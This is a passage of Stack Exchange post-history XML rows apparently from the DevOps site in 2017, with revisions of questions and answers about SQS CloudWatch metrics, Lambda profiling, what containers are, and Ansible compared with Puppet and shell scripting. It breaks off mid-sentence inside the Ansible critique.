  <row Id="1190" PostHistoryTypeId="5" PostId="152" RevisionGUID="15601eb4-b410-40fc-a395-5ab68a9765bd" CreationDate="2017-03-06T16:47:18.943" UserId="294" Comment="added 87 characters in body" Text="Docker images, containers, hub, and everything related to the containerization platform" ContentLicense="CC BY-SA 3.0" />
  <row Id="1191" PostHistoryTypeId="24" PostId="152" RevisionGUID="15601eb4-b410-40fc-a395-5ab68a9765bd" CreationDate="2017-03-06T16:47:18.943" Comment="Proposed by 294 approved by 6, 246 edit id of 30" ContentLicense="CC BY-SA 3.0" />
  <row Id="1192" PostHistoryTypeId="5" PostId="371" RevisionGUID="50a7d318-7404-4402-8732-58e344f7af31" CreationDate="2017-03-06T17:04:53.433" UserId="36" Comment="Added another tip, credit to Evgeny for the suggestion!" Text="As with any outage communications, a non-technical reader will be primarily looking to understand:&#xD;&#xA;&#xD;&#xA;* How long was it?&#xD;&#xA;* How bad was it?&#xD;&#xA;&#xD;&#xA;Amazon CloudWatch metrics provides the following [metrics for SQS queues][1] that can help answer these questions:&#xD;&#xA;&#xD;&#xA;* **NumberOfMessagesSent:** The number of messages added to a queue.&#xD;&#xA;* **NumberOfMessagesReceived:** The number of messages returned by calls to the ReceiveMessage API action.&#xD;&#xA;* **ApproximateNumberOfMessagesVisible:** The number of messages available for retrieval from the queue.&#xD;&#xA;&#xD;&#xA;When graphed correctly, these metrics can be powerful visual aides in describing queue processing delays. Here are a couple of examples from an outage I experienced where the job's capacity to process queue messages was severely degraded:&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesSent &amp; NumberOfMessagesReceived &#xD;&#xA;&#xD;&#xA;* **Graph Type:** Line Graph&#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesSent &amp; NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;This graphs the contrast between messages sent and received, which helps isolate which processing component is responsible for the delay. In this graph, the received metric drops dramatically while the sent metric continues on its normal trend, so we can infer that the issue lies in the queue reading component instead of the queue writing component.&#xD;&#xA;&#xD;&#xA;**Does this answer how long/how bad event was?** Yes; describes processes impacted over time.&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible&#xD;&#xA;&#xD;&#xA;* **Graph Type:** Stacked Area Graph &#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible][3]][3]&#xD;&#xA;&#xD;&#xA;This graphs the queue depth on top of messages received, which helps show how far the queue backed up and how it recovered. In this graph, we can see that the queue depth backed up dramatically while the queue reading component was having issues, and began recovering when the queue reading component began reading messages again.&#xD;&#xA;&#xD;&#xA;**Does this answer how long/how bad event was?** Yes; describes messages impacted over time.&#xD;&#xA; &#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Graphing Discussion&#xD;&#xA;&#xD;&#xA;In both graphs, queue processing can generally be considered healthy when the lines overlap, and unhealthy when the lines diverge.  This is an easy pattern to teach to a non-technical team member, and can help them to quickly dissemenate where and how there are problems when presented with these graphs.&#xD;&#xA;&#xD;&#xA;To further communicate specific points in graphs, you can simply annotate them:&#xD;&#xA;&#xD;&#xA;[![Both previous graphs with annotations.][4]][4]&#xD;&#xA;&#xD;&#xA;**Graphing Tips:**&#xD;&#xA;&#xD;&#xA;* Label units and axes.&#xD;&#xA;* Use consistent colors for matching metrics across graphs.  Note that NumberOfMessagesReceived is orange in both graphs; this will help visualize the same metric across different graphs.&#xD;&#xA;* Vertically align graphs that describe similar metrics so that they are easier to compare across time.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&lt;sub&gt;**Note:** I've formatted these graphs for presentation on StackExchange, so these aren't necessarily how I would present them in an outage post-mortem. I have explicitly removed values from the left axis here to obscure them from StackExchange; you'll want to keep them in your post-mortems.&lt;/sub&gt;&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Additional tips&#xD;&#xA;&#xD;&#xA;* **Empower Your Team:** After training your team members to read these graphs, there is no reason keep them hidden away. Consider setting up a [CloudWatch Dashboard][5] and giving your non-technical team members [read-only IAM access to CloudWatch][6], so that they can view these graphs any time.&#xD;&#xA;* **Set Up Notifications:** Consider setting up [Cloudwatch Alarms][7] based on the ApproximateNumberOfMessagesVisible metric if it exceeds some agreed-upon high value, and subscribe team members to notify them of potential issues. Cloudwatch Alarms have description fields that are sent along with the notification emails -- make sure to include a human-readable description to help your non-technical members disseminate the alarm.&#xD;&#xA;* **Explore Other Data:** Per [Evgeny's comment][8], explore other data beyond what CloudWatch provides and think about how you can convey that data to your team.  His example of using message lifetime in the queue to create a histogram is a great example of this creative thinking, and can be accomplished by logging both the message send and message receive times in your application.  You can get the message Sent Timestamp via the SentTimeStamp Attribute on each [queue message][9] of the ReceiveMessage API response.  More details [here][10].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/3xFKQ.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/An7Dw.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kumc6.png&#xD;&#xA;  [5]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html&#xD;&#xA;  [6]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/iam-identity-based-access-control-cw.html#read-only-access-example-cw&#xD;&#xA;  [7]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html&#xD;&#xA;  [8]: http://devops.stackexchange.com/questions/370/how-can-i-communicate-queue-based-processing-delays-to-non-technical-team-member/371#comment488_371&#xD;&#xA;  [9]: http://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_Message.html&#xD;&#xA;  [10]: http://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ReceiveMessage.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1193" PostHistoryTypeId="5" PostId="259" RevisionGUID="b0e66704-99fe-46e2-b857-81ede385506c" CreationDate="2017-03-06T17:18:39.620" UserId="3" Comment="Adds link." Text="[Dawny33 response][1] is good, but I would start earlier in the development process.&#xD;&#xA;&#xD;&#xA;Keeping an eye on your cloud environment to make sure that your functions behaves as you expect (including your &quot;production&quot; functions, which might operate on a different data set) is crucial, because it might reveal things that are impossible to reproduce locally or with a test data-set.&#xD;&#xA;&#xD;&#xA;Nonetheless, I would say that this performance testing that you do in an optimization purpose should start straight from the developer's machine. Or, at least, from some local environment before pushing to the cloud.&#xD;&#xA;&#xD;&#xA;The reason I say so is that while AWS Lambdas are amazing on many points, the fact that you don't have a full control on the server will limit your instrumentation abilities. I'm not saying instrumentation is impossible when in serverless, but try figuring out how many CPU interrupts you have (and how many are caused by *your* code) just for fun ;)&#xD;&#xA;&#xD;&#xA;So what I advise, and this is actually not limited to serverless, is to start the profiling early. NodeJS profiling can be made with many different tools, NewRelic, dynatrace and AppDynamic are some of the big players. There is also smaller player, some of them are just a NPM package to install (like Nodefly). It is also possible to do some NodeJS without any additional tool, as there is a profiler built into the V8 engine. [This documentation][2] from NodeJS will get you started.&#xD;&#xA;&#xD;&#xA;Whatever tool you choose, you want to install it locally and collect profiling data. That might involve running an agent or including a package in your package.json. Your tool's instructions will tell you how to install it. A good profiler will let you know how much memory and CPU you use. Better tools will give you insight on how many remote calls were made, how long they took.&#xD;&#xA;&#xD;&#xA;Use the profiling data that the tool gives you to identify bottlenecks and address them. There's no limit on how much profiling you can make. Some people (crazy?) will look at the system calls of their most critical function. You might have to do that kind of thing if you want to shave nanoseconds of your function (but then, maybe AWS Lambda isn't the best choice to start with).&#xD;&#xA;&#xD;&#xA;It's also worth noting at this point that I haven't mentioned anything specific to AWS Lambda. That's because your optimizations will most likely not be AWS Lambda specific (after all, in serverless you shouldn't be worried about the server/environment).&#xD;&#xA;&#xD;&#xA;Make sure that not only your code works, but that it works the way you expect it to. Don't over optimize, but keep a critical eye on CPU and memory usage. Should a 2MB array really grow to 10MB when you sort it? Probably not.&#xD;&#xA;&#xD;&#xA;Then you will be able to use tools mentioned by Dawny33, or some other tools, to confirm that your functions perform similarly when deployed to Lambda. You will however already have a very high level of confidence in your function and will only need to validate that they behave properly, not fully profile them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/257&#xD;&#xA;  [2]: https://nodejs.org/en/docs/guides/simple-profiling/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1194" PostHistoryTypeId="2" PostId="390" RevisionGUID="b70ad51f-e252-4275-a4e2-ac0607fb62b7" CreationDate="2017-03-06T17:26:15.573" UserId="40" Text="There are some questions about ***[containers][1]***, such as:&#xD;&#xA;&#xD;&#xA;- http://devops.stackexchange.com/q/109/40&#xD;&#xA;- http://devops.stackexchange.com/q/67/40&#xD;&#xA;- http://devops.stackexchange.com/q/258/40&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;container&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/questions/tagged/containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="1195" PostHistoryTypeId="1" PostId="390" RevisionGUID="b70ad51f-e252-4275-a4e2-ac0607fb62b7" CreationDate="2017-03-06T17:26:15.573" UserId="40" Text="What is a container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1196" PostHistoryTypeId="3" PostId="390" RevisionGUID="b70ad51f-e252-4275-a4e2-ac0607fb62b7" CreationDate="2017-03-06T17:26:15.573" UserId="40" Text="&lt;terminology&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1197" PostHistoryTypeId="2" PostId="391" RevisionGUID="7230f255-46a9-4579-b226-56a0fafa564e" CreationDate="2017-03-06T17:29:11.080" UserId="46" Text="From [AWS's own definition][1]:&#xD;&#xA;&#xD;&#xA;&gt; Containers are a method of operating system virtualization that allow&#xD;&#xA;&gt; you to run an application and its dependencies in resource-isolated&#xD;&#xA;&gt; processes. Containers allow you to easily package an application's&#xD;&#xA;&gt; code, configurations, and dependencies into easy to use building&#xD;&#xA;&gt; blocks that deliver environmental consistency, operational efficiency,&#xD;&#xA;&gt; developer productivity, and version control. Containers can help&#xD;&#xA;&gt; ensure that applications deploy quickly, reliably, and consistently&#xD;&#xA;&gt; regardless of deployment environment. Containers also give you more&#xD;&#xA;&gt; granular control over resources giving your infrastructure improved&#xD;&#xA;&gt; efficiency.&#xD;&#xA;&#xD;&#xA;Containerizing is packing all the essential necessities needed for doing a particular task/environment so that it is self-sufficient and can be run on any platform, which takes away a lot of pain, when it comes to setting up and installing stuff.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/containers/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1198" PostHistoryTypeId="2" PostId="392" RevisionGUID="83ebed81-d400-4462-8dd7-c132f99cdffc" CreationDate="2017-03-06T17:32:53.957" UserId="13" Text="Usually containers refers to something like [docker containers](https://www.docker.com/what-docker) which have popularized the name&#xD;&#xA;&#xD;&#xA;I quote there from docker definition:&#xD;&#xA;&#xD;&#xA;&gt; Using containers, everything required to make a piece of software run&#xD;&#xA;&gt; is packaged into isolated containers. Unlike VMs, containers do not&#xD;&#xA;&gt; bundle a full operating system - only libraries and settings required&#xD;&#xA;&gt; to make the software work are needed.&#xD;&#xA;&#xD;&#xA;The root naming comes [linux containers](https://en.wikipedia.org/wiki/LXC) (lxc) whose goal was to isolate a process from its host system, the first goal was to avoid compromission of the process to take over the host system." ContentLicense="CC BY-SA 3.0" />
  <row Id="1199" PostHistoryTypeId="11" PostId="225" RevisionGUID="d5837d23-ffb9-483c-9934-68ae836acf36" CreationDate="2017-03-06T17:32:56.080" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:10,&quot;DisplayName&quot;:&quot;avi&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;}]}" />
  <row Id="1200" PostHistoryTypeId="5" PostId="391" RevisionGUID="cfc8f6ed-6e28-4764-a900-0f30b5762cd4" CreationDate="2017-03-06T17:33:19.967" UserId="46" Comment="deleted 4 characters in body" Text="From [AWS's definition][1]:&#xD;&#xA;&#xD;&#xA;&gt; Containers are a method of operating system virtualization that allow&#xD;&#xA;&gt; you to run an application and its dependencies in resource-isolated&#xD;&#xA;&gt; processes. Containers allow you to easily package an application's&#xD;&#xA;&gt; code, configurations, and dependencies into easy to use building&#xD;&#xA;&gt; blocks that deliver environmental consistency, operational efficiency,&#xD;&#xA;&gt; developer productivity, and version control. Containers can help&#xD;&#xA;&gt; ensure that applications deploy quickly, reliably, and consistently&#xD;&#xA;&gt; regardless of deployment environment. Containers also give you more&#xD;&#xA;&gt; granular control over resources giving your infrastructure improved&#xD;&#xA;&gt; efficiency.&#xD;&#xA;&#xD;&#xA;Containerizing is packing all the essential necessities needed for doing a particular task/environment so that it is self-sufficient and can be run on any platform, which takes away a lot of pain, when it comes to setting up and installing stuff.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/containers/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1201" PostHistoryTypeId="5" PostId="392" RevisionGUID="8c8ebb3d-15ad-4296-afc2-ff027c96ff97" CreationDate="2017-03-06T17:39:12.830" UserId="13" Comment="added 924 characters in body" Text="Usually containers refers to something like [docker containers](https://www.docker.com/what-docker) which have popularized the name&#xD;&#xA;&#xD;&#xA;I quote there from docker definition:&#xD;&#xA;&#xD;&#xA;&gt; Using containers, everything required to make a piece of software run&#xD;&#xA;&gt; is packaged into isolated containers. Unlike VMs, containers do not&#xD;&#xA;&gt; bundle a full operating system - only libraries and settings required&#xD;&#xA;&gt; to make the software work are needed.&#xD;&#xA;&#xD;&#xA;The root naming comes [linux containers](https://en.wikipedia.org/wiki/LXC) (lxc) whose goal was to isolate a process from its host system, the first goal was to avoid compromission of the process to take over the host system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now they are used in a wider scope. In a modern 'container' definition, you'll more or less release a package for runtime which already include your application, it's underlying middle-ware if needed and all necessary libraries and be sure it will run on any compatible system.&#xD;&#xA;&#xD;&#xA;The second advantage is that it allows to use multiple applications with the same dependency at different version without having to heavily tweak its environment variables so it load the correct one.&#xD;&#xA;&#xD;&#xA;Unlikely to a VM system like virtual box virtual machine or an EC2 instance on AWS, containers are virtual only on the file system level and isolated only on the memory stack. They still share the same host and the operating system under them will arbitrate cpu ticks.&#xD;&#xA;&#xD;&#xA;A virtual machine is virtual at the hardware level, and you run an operating system within, a container is virtual at the OS level, and your run a process within." ContentLicense="CC BY-SA 3.0" />
  <row Id="1202" PostHistoryTypeId="2" PostId="393" RevisionGUID="db811ed9-eede-49f5-9c41-4a719e1f08cd" CreationDate="2017-03-06T17:50:37.703" UserId="72" Text="The very first thing to know about a container is:&#xD;&#xA;&#xD;&#xA;It is, first and foremost, a ***process.***&#xD;&#xA;&#xD;&#xA;Once that is understood, one can start to understand how containers compare and contrast with virtual machines.  Containers and VMs both share *isolation* from their hosts.  The method of isolation is the critical difference.&#xD;&#xA;&#xD;&#xA;Container processes use extensions to the OS kernel host on which they run to isolate themselves from other processes.  Other extensions also provide disk and resource isolation.  Containers *share* their kernel and memory with the host OS.&#xD;&#xA;&#xD;&#xA;Virtual Machines use a *hypervisor* to isolate VMs from their hosts.  This is a layer of software that forwards requests for resources from &quot;guests&quot; (VMs) to the hardware.  Disk isolation is provided by disk virtualization.  VMs *do not* share a kernel with the host- they load their own kernels into memory space dedicated to the VM.&#xD;&#xA;&#xD;&#xA;The operational differences are in agility: containers start and stop about as fast as a normal process.  VMs are &quot;heavier,&quot; requiring dedicated resources set aside for them and take longer to start and shut down.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1203" PostHistoryTypeId="5" PostId="393" RevisionGUID="dbf7589d-9402-48b2-856c-944a912bf20e" CreationDate="2017-03-06T17:56:55.003" UserId="72" Comment="added Devops impact" Text="The very first thing to know about a container is:&#xD;&#xA;&#xD;&#xA;It is, first and foremost, a ***process.***&#xD;&#xA;&#xD;&#xA;Once that is understood, one can start to understand how containers compare and contrast with virtual machines.  Containers and VMs both share *isolation* from their hosts.  The method of isolation is the critical difference.&#xD;&#xA;&#xD;&#xA;Container processes use extensions to the OS kernel host on which they run to isolate themselves from other processes.  Other extensions also provide disk and resource isolation.  Containers *share* their kernel and memory with the host OS.&#xD;&#xA;&#xD;&#xA;Virtual Machines use a *hypervisor* to isolate VMs from their hosts.  This is a layer of software that forwards requests for resources from &quot;guests&quot; (VMs) to the hardware.  Disk isolation is provided by disk virtualization.  VMs *do not* share a kernel with the host- they load their own kernels into memory space dedicated to the VM.&#xD;&#xA;&#xD;&#xA;The operational differences are in agility: containers start and stop about as fast as a normal process.  VMs are &quot;heavier,&quot; requiring dedicated resources set aside for them and take longer to start and shut down.&#xD;&#xA;&#xD;&#xA;Containers offer a lot of flexibility to a DevOps operating model:&#xD;&#xA;&#xD;&#xA;-  Containers isolate software component dependencies.  Developers can use containers to guarantee that an application module will function as well on their development machines as in QA/UA/Production&#xD;&#xA;-  Containers use software-defined networking to communicate&#xD;&#xA;-  Container definitions are declarative and can be source-controlled&#xD;&#xA;-  Container management systems (Kubernetes, DC/OS, Swarm) can manage virtual resource (compute/RAM/storage) pools and dynamically scale containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="1204" PostHistoryTypeId="5" PostId="393" RevisionGUID="200e7d89-8784-425c-9cb0-2e2e723f48a1" CreationDate="2017-03-06T18:12:36.583" UserId="72" Comment="Added mention of kernel compatibility" Text="The very first thing to know about a container is:&#xD;&#xA;&#xD;&#xA;It is, first and foremost, a ***process.***&#xD;&#xA;&#xD;&#xA;Once that is understood, one can start to understand how containers compare and contrast with virtual machines.  Containers and VMs both share *isolation* from their hosts.  The method of isolation is the critical difference.&#xD;&#xA;&#xD;&#xA;Container processes use extensions to the OS kernel host on which they run to isolate themselves from other processes.  Other extensions also provide disk and resource isolation.  Containers *share* their kernel and memory with the host OS.&#xD;&#xA;&#xD;&#xA;Virtual Machines use a *hypervisor* to isolate VMs from their hosts.  This is a layer of software that forwards requests for resources from &quot;guests&quot; (VMs) to the hardware.  Disk isolation is provided by disk virtualization.  VMs *do not* share a kernel with the host- they load their own kernels into memory space dedicated to the VM.&#xD;&#xA;&#xD;&#xA;One important impact of this difference is that a containers must be kernel-compatible with their hosts.  For example, it is not possible to run a Windows Nano Server-based container on a Linux host, or an Ubuntu container directly on a Windows host.  Virtual Machines, by contrast, can run any kernel regardless of host OS.  When running a Linux container on a Windows host, Docker runs the container in a Linux VM.&#xD;&#xA;&#xD;&#xA;The operational differences are in agility: containers start and stop about as fast as a normal process.  VMs are &quot;heavier,&quot; requiring dedicated resources set aside for them and take longer to start and shut down.&#xD;&#xA;&#xD;&#xA;Containers offer a lot of flexibility to a DevOps operating model:&#xD;&#xA;&#xD;&#xA;-  Containers isolate software component dependencies.  Developers can use containers to guarantee that an application module will function as well on their development machines as in QA/UA/Production&#xD;&#xA;-  Containers use software-defined networking to communicate&#xD;&#xA;-  Container definitions are declarative and can be source-controlled&#xD;&#xA;-  Container management systems (Kubernetes, DC/OS, Swarm) can manage hardware resource (compute/RAM/storage) pools and dynamically scale containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="1205" PostHistoryTypeId="2" PostId="394" RevisionGUID="fa4a374c-b60a-4e80-98ab-fd1ae121d557" CreationDate="2017-03-06T18:43:13.233" UserId="271" Text="The word *container* refers to a lightweight virtualisation technology available on modern Linux kernels, this technology is very similar to FreeBSD jails.&#xD;&#xA;&#xD;&#xA;An older, non-container-able, Linux kernel is able to run processes concurrently.  Some attributes of the system are private to process, like the process environment or the process memory: only the process owning these attributes and the operating system itself are able to access to this data. (There is a lot of loopholes, like some *ps* implementations, but that's essentially true!) Some other attributes are shared among the processes, like the filesystem and network interfaces for instance.&#xD;&#xA;&#xD;&#xA;A modern, container-able, Linux kernel is able to handle more attributes of the system as private data associated to a process or a group of processes. The resulting context is a *container* and instead of running a program in the “initial containers” using the filesystem and the network interfaces initialised by the operating system, it is possible to run processes in other containers, so that they see a different filesystem and a different list of network interfaces. Therefore, two processes running in distinct containers only really share the kernel.  You are maybe familiar with the *chroot* command which can run a process in a distinct file-hierarchy, containers take the idea a few step further.&#xD;&#xA;&#xD;&#xA;Of course, this is just a very coarse explanation, but I hope it helps to clarify the idea of what containers are. Now, what are they good for? &#xD;&#xA;&#xD;&#xA;A popular interface to the container capabilities of Linux kernels is implemented by *docker,* a command-line utility that can be used to produce artefacts representing file-systems (*docker images*) and run processes in containers where these file-systems are accessible. This software suite is also able to build ad-hoc virtual networking systems to let several containers communicate on a private network.&#xD;&#xA;&#xD;&#xA;Container-based technologies are convenient to:&#xD;&#xA;&#xD;&#xA;- Describe *scalable* complex deployments.&#xD;&#xA;- Provide application developers an environment very similar to the production environment.&#xD;&#xA;- Implement immutable server pattern, as software artefacts typically describe a full operating-system, not just an application package.&#xD;&#xA;&#xD;&#xA;(As you seem familiar with other virtualisation technologies like Virtual Box, you might remark that these technologies can also conveniently address the three points above. Nowadays, there is quite a small spectrum of virtualisation technologies, and we can compare the question of their popularity in certain contexts with the popularity of computer languages: it depends probably of the technical merits of each individual solution, but also to a lot of factors that I will just label “chance”.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1206" PostHistoryTypeId="5" PostId="370" RevisionGUID="e373f36e-34d8-42b8-ace8-9ac9cf76af97" CreationDate="2017-03-06T18:56:23.883" UserId="47" Comment="improved readability" Text="I am responsible for a set of `SQS` queue-processing jobs with a scaling policy on the `ApproximateNumberOfMessagesVisible` CloudWatch metric.  These jobs can fail to keep up with the amount of messages sent for any number of reasons:&#xD;&#xA;&#xD;&#xA;* Service degradation reduces capacity of messages able to be processed.&#xD;&#xA;* `AutoScalin` max limit reached while queue depth continues to rise.&#xD;&#xA;* S3 Outage impacts other dependent AWS services (`AutoScaling` service) that the queue processing job uses to keep up with demand.&#xD;&#xA;&#xD;&#xA;When discussing outages with non-technical team members, I would like to communicate specific delays of queue processing that can translate into customer-visible degradations.  How can I do this with `SQS` queues?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1207" PostHistoryTypeId="24" PostId="370" RevisionGUID="e373f36e-34d8-42b8-ace8-9ac9cf76af97" CreationDate="2017-03-06T18:56:23.883" Comment="Proposed by 47 approved by -1 edit id of 121" ContentLicense="CC BY-SA 3.0" />
  <row Id="1208" PostHistoryTypeId="5" PostId="370" RevisionGUID="2742ce0d-5af7-46b6-a724-9eb9507a2ba0" CreationDate="2017-03-06T18:56:23.883" UserId="14" Comment="improved readability" Text="I am responsible for a set of SQS queue-processing jobs with a scaling policy on the `ApproximateNumberOfMessagesVisible` CloudWatch metric.  These jobs can fail to keep up with the amount of messages sent for any number of reasons:&#xD;&#xA;&#xD;&#xA;* Service degradation reduces capacity of messages able to be processed.&#xD;&#xA;* `AutoScalin` max limit reached while queue depth continues to rise.&#xD;&#xA;* S3 Outage impacts other dependent AWS services (`AutoScaling` service) that the queue processing job uses to keep up with demand.&#xD;&#xA;&#xD;&#xA;When discussing outages with non-technical team members, I would like to communicate specific delays of queue processing that can translate into customer-visible degradations.  How can I do this with SQS queues?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1209" PostHistoryTypeId="5" PostId="370" RevisionGUID="5a648f84-5354-4fc7-a5b2-430e81f95cee" CreationDate="2017-03-06T18:57:03.550" UserId="36" Comment="Fixed typo." Text="I am responsible for a set of SQS queue-processing jobs with a scaling policy on the `ApproximateNumberOfMessagesVisible` CloudWatch metric.  These jobs can fail to keep up with the amount of messages sent for any number of reasons:&#xD;&#xA;&#xD;&#xA;* Service degradation reduces capacity of messages able to be processed.&#xD;&#xA;* `AutoScaling` max limit reached while queue depth continues to rise.&#xD;&#xA;* S3 Outage impacts other dependent AWS services (`AutoScaling` service) that the queue processing job uses to keep up with demand.&#xD;&#xA;&#xD;&#xA;When discussing outages with non-technical team members, I would like to communicate specific delays of queue processing that can translate into customer-visible degradations.  How can I do this with SQS queues?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1211" PostHistoryTypeId="2" PostId="396" RevisionGUID="c44689b1-ce4c-494c-86db-e66b0f00184b" CreationDate="2017-03-06T22:37:11.577" UserId="139" Text="I'd like to understand the differences between Linux Containers and Docker, especially what kind of advantages Containers has in comparison to Docker.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1212" PostHistoryTypeId="1" PostId="396" RevisionGUID="c44689b1-ce4c-494c-86db-e66b0f00184b" CreationDate="2017-03-06T22:37:11.577" UserId="139" Text="Advantage of Linux Containers over Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="1213" PostHistoryTypeId="3" PostId="396" RevisionGUID="c44689b1-ce4c-494c-86db-e66b0f00184b" CreationDate="2017-03-06T22:37:11.577" UserId="139" Text="&lt;docker&gt;&lt;containers&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1216" PostHistoryTypeId="5" PostId="349" RevisionGUID="630bdfb7-6b70-40b6-ab52-d2ecf08546ed" CreationDate="2017-03-06T23:09:44.943" UserId="40" Comment="Fix typo and add paragraphs" Text="No, people moving away from Puppet to Ansible (or vice versa) has nothing to do with what can or cannot be accomplished with either tool. Puppet/Chef/Ansible - it's mostly a matter of taste.&#xD;&#xA;&#xD;&#xA;For example, Ansible is based on Python, and Python developers typically feel more at home with it (no need to learn a DSL), or Ruby (for Chef)). Easier for Python developers to extend Ansible as well.&#xD;&#xA;&#xD;&#xA;But in essence they're all very similar in terms of what you can achieve. Some have relative strengths in some areas, and weaknesses in others, but typically the choice between them is made by style/culture/preference of the team." ContentLicense="CC BY-SA 3.0" />
  <row Id="1217" PostHistoryTypeId="5" PostId="301" RevisionGUID="266af4eb-3630-49f1-94b5-6e84991ece50" CreationDate="2017-03-07T00:12:32.890" UserId="40" Comment="deleted 8 characters in body" Text="Another approach is to switch to a different, non-traditional CI system, capable of **preventing regressions** by identifying and rejecting the offending candidate changes prior to their commit rather than detecting regressions and waiting for recovery while development on the branch is blocked. I like to call such system a [non-blocking CI system][1].&#xD;&#xA;&#xD;&#xA;Simply bumping up the developer-executed pre-commit verification requirements in an attempt to reduce branch regressions is not sufficient for such guarantee. It may actually cause a regression rate *increase*: longer verification times =&gt; higher number of changes simultaneously verified in isolation (thus not accounting for each-other) =&gt; higher risk of functional conflicts and interference. I'm explaining this in a bit more details in the [Extending the pre-commit verification coverage should increase our branch stability][2] myth.&#xD;&#xA;&#xD;&#xA;The CI tool also needs to be capable of operating at scale, of course. And such tools exist, see http://devops.stackexchange.com/questions/268/is-there-a-ci-tool-that-guarantees-no-regressions-in-the-branch-quality-level&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Disclosure: I'm affiliated to the company mentioned in the above-links.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.apartsw.com/insights/2016/11/25/traditional_vs_non_blocking_ci.html&#xD;&#xA;  [2]: https://www.apartsw.com/insights/2016/11/16/pre_commit_verification_myths.html#extensible" ContentLicense="CC BY-SA 3.0" />
  <row Id="1218" PostHistoryTypeId="2" PostId="397" RevisionGUID="1aad87a8-54a0-4429-89b7-9d2c2fbca6ba" CreationDate="2017-03-07T00:29:40.637" UserId="271" Text="I never used Ansible but since a few weeks, I try to figure out what good Ansible could be in comparison with shell scrips–Which proves, at least in my case, that the haunting ad-campaigns they run are effective! After many unsuccessful attempts–which proves how their documentation fail at answering one of the most obvious question–I think I finally got it:&#xD;&#xA;&#xD;&#xA;Now, let's watch the introduction video and go randomly as a potential new user through the introduction material to Ansible ans let's compare it to what a skilled shell programmer can produce right-off the shelf.&#xD;&#xA;&#xD;&#xA;My conclusion is that over shell scripting, Ansible essentially offers 1. The possibility of checking that a system agrees with a desired state, 2. the ability to integrate with Ansible Tower, which is a paying system that seems to include monitoring abilities. In some important cases, like when implementing the immutable server pattern, the point 1 is probably not very useful, so the list, is rather thin.&#xD;&#xA;&#xD;&#xA;My conclusion is that the benefits offered by Ansible over shell-scripting, as the documentation present them, could be sensible in a few handful of optimistic cases well covered by available modules but are small or even hypothetical in the general case. For a skilled shell-programmer probably, these benefits are most likely counter-balanced by other aspects of the trade-off.&#xD;&#xA;&#xD;&#xA;But this maybe only proves how bad the introduction material is!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# The quick start video:&#xD;&#xA;&#xD;&#xA;There is a [quick start video](http://docs.ansible.com/ansible/quickstart.html). It starts with a page claiming that… well these are not really claims, these are bullet lists, an artefact [commonly used to suspend critical judgement](http://cristal.inria.fr/~weis/info/haladjian.pdf) in presentations (since the logic is not shown, it cannot be criticised!)&#xD;&#xA;&#xD;&#xA;### 1. Ansible is simple:&#xD;&#xA;&#xD;&#xA;1.1 Human readable automation – Specifications are technical documents, how could&#xD;&#xA;&#xD;&#xA;      name: upgrade all packages&#xD;&#xA;      yum:&#xD;&#xA;        name: '*'&#xD;&#xA;        state: latest&#xD;&#xA;&#xD;&#xA;be easier to read than the 